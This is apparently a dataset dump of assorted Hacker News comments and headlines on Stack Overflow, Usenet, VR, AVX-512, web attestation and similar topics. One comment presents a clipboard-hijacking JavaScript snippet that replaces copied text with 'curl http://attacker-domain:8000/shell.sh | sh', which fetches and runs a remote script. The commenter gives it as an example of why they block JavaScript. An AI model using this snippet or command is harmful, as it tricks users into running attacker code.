skysight-inc/HackerNews huggingface dataset:
You’ve snuck in another conditional: when you’re close to someone, correct, you shouldn’t offer imperatives like “read books.”

You’d ideally be recommending books that are tailored to their needs and interests (which, remember, is not the same as your prior examples, which were specific books pushed on people regardless of their needs and interests).

You’d be hard-pressed to find a single decent educator who disagrees with you, though it’s easy to come to the idea that you’re contrarian on this point.

There are two factors: 1) educators have to suggest a small set of books for a large group of students due to the scale of mass education. AFAICT almost every educator regards this as a problem but it’s not exactly helped by views like “reading books is a dumb goal.” 2) when educators are talking about overall goals and policy, they obviously cannot say “well for person X we want them to read book X; for person Y we want them to read book Y, etc.” This washes out as “we want students writ large to read books writ large.”

The overall objective is to build a baseline ability for every student to be able to find, navigate, and interpret information. A lot of our society’s information is stored in a particular format called “book” that is navigated differently from other formats. Despite the generic-sounding imperative to read books, it is self-evidently the case that the only way to achieve it is by meeting each individual student where they are in terms of both skill level and interests, so that’s what educators try to do. Again: this is extremely challenging in mass education environments!

Other information formats should be and are also part of a good educational system, obviously, including manuals and instructional videos. I have clear memory of manuals and cookbooks even in my early education, which was low quality by US standards.

Agreed re weirdness of # of books as a meaningful metric, and I suspect most educators would agree with us as well.
There was a hn post once where OP wrote all questions are already answered on SO. Hence nobody should ask questions (especially newbs)
Is it SO's purpose to make assumption about the intention or context of questions? I would say no, and that it's even harmful, as it prevents the quest-giver from learning the flaws in their solutions on their own.
> You don't need to lure anything.

Right. For example, in 2016, Shodan had sneakily infiltrated the NTP.org pool to harvest IPv6 IPs. The methods have obviously gotten more sophisticated and more prevalent since then.

https://netpatterns.blogspot.com/2016/01/the-rising-sophisti...

https://seclists.org/oss-sec/2016/q1/239
He seems to be truly left-wing and not a neolib parading as 'center-left' that's oddly close to neocon on all subject but feminism and lgbtq rights, so I don't understand the quotes here.
In many countries the transition will require a massive overhaul of the grid, significant increase in electricity production, and comprehensive charging solutions.

The transition is not a walk in the park.
Linux From Scratch: https://www.linuxfromscratch.org/
> Interestingly, Hacker News has a fairly low barrier of entry and high quality discussions. Maybe because it's kind of ugly and scares away the average user expecting animated prompts and fancy style sheets.

Ignoring the hellthreads, the technical content here is pretty mid these days. The last year has been rough on this site. It's like reading a combination of r/linux and r/rust, a sort of nuance free assertion of FOSS-heavy technical preferences. If that's the echo chamber that you enjoy go for it, but even on Matrix I find a lot deeper content than here, let alone some Discords and smaller forums. What I do appreciate is the breadth on some more niche technical content (J and APL threads come to mind.) But IMO the glory days here are gone.

Social forums seem to "collapse" a few ways: die (like Usenet, many old IRC channels), calcify (many older forums I'm in, Lobsters), or become an echo chamber (Subreddits, this place.) I guess Eternal September comes for us all.
Vivaldi as well. Their stance on these kinds of user-hostile Google initiatives is pretty clear.
I now find so many answers on geek for geeks website, it comes with a well written documentation
> To you.

Which was the whole point of this chain :)
This is the vertigo I want to "cure". But interestingly, you can trigger it with from a limited height, like just 5m. This limited height "trigger" is what I used to improve my own. I did a lot of indoor climbing and outdoor tree climbing "adventure" parks. But if a VR headset could accelerate these improvements by tricking my brain, I would be interested.

I will ask friends having such headsets to test them. Thank you.
> a big enough room

This is the key problem for a lot of gamers. The cost issue puts more casual users off, but avid gamers are used to dropping $$$ for their hobby every upgrade cycle so as the hardware prices continue to slip downwards that is less and less their main concern. Having a private bit of space big enough and clear enough is not as those singing the virtues of VR seem to think.

> most VR games are too janky

Of course, the amount of good content that truly takes advantage of the kit is a concern when spending the $$$ even with the kit being much cheaper now than a few years ago. There might be other things that a given person can invest that resource on which will increase their enjoyment much more overall (better screens, a really comfy chair, actual games, …).
You mean I will have to change my processor???
European countries are ten yrs ahead of the US as far as regulations on technology are. Some people have to learn the hard way I guess...
And if you have nested list comprehensions this totally stops making sense somehow.
Anything which works on nontrivial datasets, really. As soon as you need to do roughly the same operation on a bunch of data, you can benefit from AVX. Heck, this could be as simply as determining the length of a string!

The main benefit of AVX-512 is that the CPU gained support for "masking". Traditionally, you had to execute the instructions on all data elements. Something like "round all even values downwards, round all odd values upwards" becomes near-impossible, and if you want to do that in an entire AVX pipeline you have to deconstruct the vector into individual elements, do the operation on each of them individually, and reconstruct it into a vector. This really sucks. With masking, you get a special field which specify on which elements the operation should apply. So you could just create a mask with the even values, use that mask for a round-down, invert the mask, and use it for a round-up. That's a significant speedup!

Adding AVX-512 support means that a lot more applications suddenly become eligible for fairly trivial vectorization, and I personally can't wait for it to become universally available.
Would it surprise you to know that Safari on iOS and OS X already implements exactly this kind of attestation API? It does!
Thanks for the response. My Linux laptop is about 15 years old but I was able to use the Dell XPS that I got when we had to work from home due to Covid.
Whenever I upgrade Fedora, I switch to Wayland until something breaks, and then I WaylandEnable=false.

It's because of this that Fedora isn't my daily driver. I keep it largely because updates usually eventually fix what breaks, so it's been consistent over many upgrades.
"I was asking only to see one comment trying to answer it and then a mod aggressively shutting it down for not being “on topic” enough or whatever."

Stackoverflow once set out - with the very best intentions - to be better than expertsexchange et. al.
I think that's why they are so strict with their moderation.

The issue, of course, is that this is a hard problem. To moderate a community of experts you need to be an expert yourself. With Stackoverflow I feel most moderators are just overwhelmed with the task, so they aggressively shut down everything they don't understand.

Many of them are probably aware of that and just don't know how to handle it better. Others are so clueless that they do not even recognize the good questions.
> I haven't. Because (free, as in free beer) chatGPT is extremely slow, I have to make a rather extensive proompt to get the result I want to, and then I still have to debug most code.

That's because you are comparing asking ChatGPT to write full code to searching for a question on Stack Overflow and adapting their answer (which is comparing apples and oranges).

Try using ChatGPT like you use Stack Overflow instead (i.e. the question is "How would I record an audio stream to disk in Python" rather than "write me an application / function which...").

As an aside, try "How would I record an audio stream to disk in Python"" in both GPT4 and searching for an answer on Stack Overflow and see what has the better answer! (Clue: GPT4, and if you don't like GPT4's answer just ask it to clarify/change it)
You can still control the code running on your computer. But the websites you send http requests to don’t have to respond.
Well, there's a few issues. Some, may be sour grapes, on my part, but some, were inevitable.

SO has been a great site for me. Not too long ago, it was always my first stop, when looking for correct solutions to difficult problems.

I'm a highly experienced engineer, and a first-class debugger. I always get my bug ... eventually.

What SO would give me, was a correct solution, very quickly. I would ask a question, and have two or three excellent answers, in a matter of minutes.

I could definitely have found the answer, myself, but I would have had to do stuff like set up playgrounds, or even full applications.

Nowadays, they require question askers to do exactly that. In The Days of Yore, I could ask a question, without having to have gone through an hour of debugging and prototyping, and have a great answer.

But, at its heart, it's another wiki documentation site, and wikis don't age well. The WordPress Codex is damn near worthless, and even the great PHP docs are showing their age.
I was thinking the same. Taking in consideration the vast amount of such SEO farms, there's surely a lot of ad money to be spend/earned if you prioritize the "right" sites.
> If your pavement has potholes, just learn to jump over them.
i have been seeing these kiosks for over 2 years now in new delhi metro stations
"Everything is working fantastically with our python ML project but we're rewriting it in Elixir anyway" would be a weird article wouldn't it?
WormGPT Is ChatGPT, but Evil
Created by an unknown hacker and launched last month, with its designer calling it ChatGPT’s “biggest enemy.”
Using invisible divs in GitHub Discussions as a key-value store
You might have been part of the same crowd generating conspiracy theories! I don't know. But those ideas were a very important part of developing the conviction based communities which promoted it (not a criticism). Firefox usage peaked at 32% apparently 2010 market share against the IE which only had minimal development since early 2000s. Chrome proper>2010 effectively defeated Firefox in two years of issue and became dominant after 3 years. Why so quick? for the conviction based community, Chrome won because of advertising, bundling, and variations of force not because it was fundamentally a nicer experience for end users.
> The reason we have 3204 2B allocations is that each of the 2B contains info (latent space dimension).

I think the author is more correct than you are. It is not necessarily the case that we need 3,204 dimensions to represent the information contained in the tokens; in fact, the token embeddings live in a low-dimensional subspace; see footnote 6 here:

https://transformer-circuits.pub/2021/framework/index.html

> We performed PCA analysis of token embeddings and unembeddings. For models with large d_model, the spectrum quickly decayed, with the embeddings/unembeddings being concentrated in a relatively small fraction of the overall dimensions. To get a sense for whether they occupied the same or different subspaces, we concatenated the normalized embedding and unembedding matrices and applied PCA. This joint PCA process showed a combination of both "mixed" dimensions and dimensions used only by one; the existence of dimensions which are used by only one might be seen as a kind of upper bound on the extent to which they use the same subspace.

So some of the embedding dimensions are used to encode the input tokens and some are used to pick the output tokens (some are used for both), and everything else is only used in intermediate computations. This suggests that you might be able to improve on the standard transformer architecture by increasing (or increasing and then decreasing) the dimension, rather than using the same embedding dimensionality at each layer.
In my limited experience, they're comparable to a password manager. A little more pleasant, because the password manager sometimes has a password but can't find it. That happened to me last week.

A big airline has many web sites and the password manager didn't realise that it could use a particular password to log me into a site it had never seen before. Of course password managers have to be careful about that kind of thing. Can't just reveal a password to an unknown site.

That said, the password part was small. Passkeys would be a LITTLE more pleasant, again in my limited experience. The login problem was small compared to the pain of dealing with the web site after I'd logged in ;)
Schools bought these Chromebooks because they are low-cost and also low-maintenance: Google takes care of updates, and you have far fewer stuff to configure (that can also be configured incorrectly) than with Windows (which BTW now also has an "expiry date": Windows 11 has very strict hardware requirements, and Windows 10 will be EOL in 2024). So proposing to install Linux instead, with all the configuration hassle that implies, is not really realistic I'm afraid...
OpenAPI Diff Prevents API Breakages
Here you go:

https://www.haaretz.com/israel-news/2023-06-20/ty-article/wh...

Note that abolishing the common law reasonableness standard isn't the only change Netanjahu had planned originally. He's been forced to backtrack a lot.

The original proposals intended to allow the government to override supreme court decisions generally (not just ones based on the reasonableness doctrine). I dont see how this wouldn't have eliminated all legal limits to government power in Israel.

In a sense there already aren't any limits: 50% of parliament is enough to change the basic laws.
And the fact that google is not detecting those is damning (to google)
> As long as I'm not overloading your service or similar, what hardware or software I use must not be restricted.

A lot of the push is not for bad actors literally DDOSing servers, but bad users degrading the service for other users. If most users of a service agrees to, for example, run an attestable environment to access a service, then that service should be able to refuse access to users who don’t buy into it.
100 percent.

In the US there are still people who don't believe COVID 19 existed or that it took out over a million people. Or that the US population is <400 million people and that semi trucks filled with dead Americans across the country was ever a problem.

Propaganda makes it much much easier for bad faith industrial actors to sabotage an entire country, or I suppose even the world. Pump and dumping civilization has got to be an extraterrestrial meme or something...
The Pre-React Roadmap
How Cloudflare is staying ahead of the AMD Zen vulnerability known as “Zenbleed”
Isn't it even weaker for elon, since he lost the domain around same time that xbox was introduced and only got it back 2017 and even then he said that he had no plans for it.
Number one reason why I do not turn JavaScript on, and I will definitely block WebInegrityAPI indefinitely.

Basic malware JavaScript snippet:

<script>
document.getElementById('copy').addEventListener('copy', function(e) {
e.clipboardData.setData('text/plain',
'curl http://attacker-domain:8000/shell.sh | sh\n'); e.preventDefault();
});
</script>
Seeing these issues many years ago led me to predict the downfall of Stack Overflow then, and I see these identical issues with Wikipedia now.
Is the formal group creation process still going on?

You filed an "request for discussion" and if approved, there would be a discussion for a month or so. Then you'd file a "call for votes" and people would email their votes to a mailbox and there would need to be two thirds in favour.

If not, just curious, what was the last newsgroup to be created this way?
Oh man, SO, where to start.

I guess I’ve always interacted with SO in a relatively passive way.
There’s just too much toxicity that’s plausibly deniable.
And with it, lost much of its usefulness.

Every time I try to look for an answer against knowing better, I still get disappointed.

Either the question isn’t there or someone asked it but it was marked as duplicate with a link to a decade old (and for some reason never more recent) question that is vaguely of a similar topic if you squint hard enough.

It’s silly anyways because some of the frameworks I work with are extremely volatile in the sense that they fundamentally change from year to year, so the chances that an older question is stale are all but guaranteed.

I don’t even bother asking the question myself because I see the copious amounts of pedantry while I browse.

Never mind discussions about “the right way” of doing things, I’m talking about entire comment threads about the right terminology of the “well akschually” variety.

Think arguments about whether something should be called a method or a function or whether MVVM is possible with framework X because the author had intended X, Y or Z, when none of it is even remotely relevant nor helpful to the question at hand.

Other forms of pedantry are entirely rewriting the OP’s question because a variable name or function name was disliked, even though the original question as asked was not confusing in the slightest.

The single time I asked a question, it was genuinely challenging and relatively low-level matter, or as close to it as you get in my field.
Crickets, aside from 1 extremely low quality answer that didn’t actually answer anything that is.

I tried to focus on answering people’s questions instead, especially on a few relatively new frameworks that come with new conventions as those generate a lot of questions and I managed to become really proficient in them.
I figured it would be a good way to give back to the developer community as a whole since it was that very community that enabled me to become proficient in it in the first place.

But stopped doing that too because it’s useless. Either good questions get closed, mods fuck around editing things around or the high level clique just upvotes each other’s low effort drivel.

SO is all but completely useless to me, it has become my last resort and only if I’m really stuck, and every time I dread it like I dread pulling teeth because every time it proves to be an exercise in wasting my time.
Nobody is dismissing Economics. It's just not relevant to this conversation.
I don't think the OP actually used Usenet back in the day.

The alt.* groups were always mostly a cesspool, there were very few usable ones past roughly 1995. The comp.* hierarchy was rather good and that's where the action was.

I feel sorry that USENET is gone. The experience of using a good NNTP newsreader was way way better than the terrible phpBB forums that supplanted it. And the next generation of programmers simply copied the phpBB ideas because they've never seen anything better. So now we have to live with those "forums" where you can't find anything, and you have to wade through screenfuls of decoration just to see any content at all.

What was also really good was that you had a single interface for accessing multiple groups. That's something we lost: if I have multiple interests today, I have to register for multiple "boards/forums", each one with different software, and I have to go around and check them all for new posts. That quickly gets problematic and tedious if you are interested in more than two things.

I have a nagging feeling that we've dumbed things down terribly.
> Ok so this is basically 10 people generating 11k messages per month. [...] they actively engage in conversations in their echo chamber and insult each other even though those they insult are the only ones who pay attention to them. I mean, what's the point??

What if they were spies in the field, exchanging coded messages? Like posting classified ads in newspapers, it's one of those places nobody will look at.

Or, they could all be Putinistas talking to each other, justifying their job of spreading propaganda. "Hey boss, I posted 3k messages just this month! Worth a few more rubles, right?!"

Or they could be experiments, AIs talking to AIs. That's the most cyberpunk explanation, and Usenet being a '90s thing, it's hence the most likely.
The quantized versions are not floats but ints.
Those are real issues though.
Every successful social network will spend 95% of its life slowly dying.
Are there health benefits to taking turmeric? (2018)
>Approximately nobody ever does this verification[1], so this distinction is critically important: Signal works out of the box, whereas PGP does not.

Then, say, Telegram in non-secret message mode, is just as secure, in the sense that you have to trust a third party. Not clearly informing the user of this trust is dishonest.

>...after studies showed non-technical users (reasonably) associate the idea of fingerprints with criminal investigations

We would be interested in a reference to one of those studies. "Fingerprint" at least implies something about identity. "Safety" is more obscure. I feel that both are less than optimal here for imparting the important concept to the user. I think that "PGP number" or "Signal number" would be better. There is already preexisting culture around "Phone numbers" and identity.
Do you still have or use your embarrassing childhood email ID?
You will most likely NOT resonate if you're born in the 2000s.
Musk's explanation:

"Twitter was acquired by X Corp both to ensure freedom of speech and as an accelerant for X, the everything app. This is not simply a company renaming itself, but doing the same thing.

The Twitter name made sense when it was just 140 character messages going back and forth – like birds tweeting – but now you can post almost anything, including several hours of video.

In the months to come, we will add comprehensive communications and the ability to conduct your entire financial world. The Twitter name does not make sense in that context, so we must bid adieu to the bird."

https://twitter.com/elonmusk/status/1683656350046232578
Good times. News Rover was part of my life back then.

I should note that the BINARY usenet is still on fire, if you know what that's used for, that is.

My first experience with the Internet was via WebTV, and WebTV had a gated Usenet - only the users had access to it.

It was just full of red hot, vicious flame wars. In retrospect, it was the harbinger of things to come with social media in general. Take away the barrier of entry, let the masses in without any moderation, and it will turn into a cesspool.
After 10 Years Our Remote-Only Company Had the First Physical Meeting
Hey, great work. But how do I actually delete a model, if it doesn't work on my machine? the rm command doesn't actually delete the files it seems, as if I then do the run command again, it doesn't need to download again...
> China manufactures goods for the entire world.

See "No, the U.S. didn't outsource our carbon emissions to China":

* https://www.noahpinion.blog/p/no-the-us-didnt-outsource-our-...

There is a database of estimates of consumption-based emissions referenced in the article.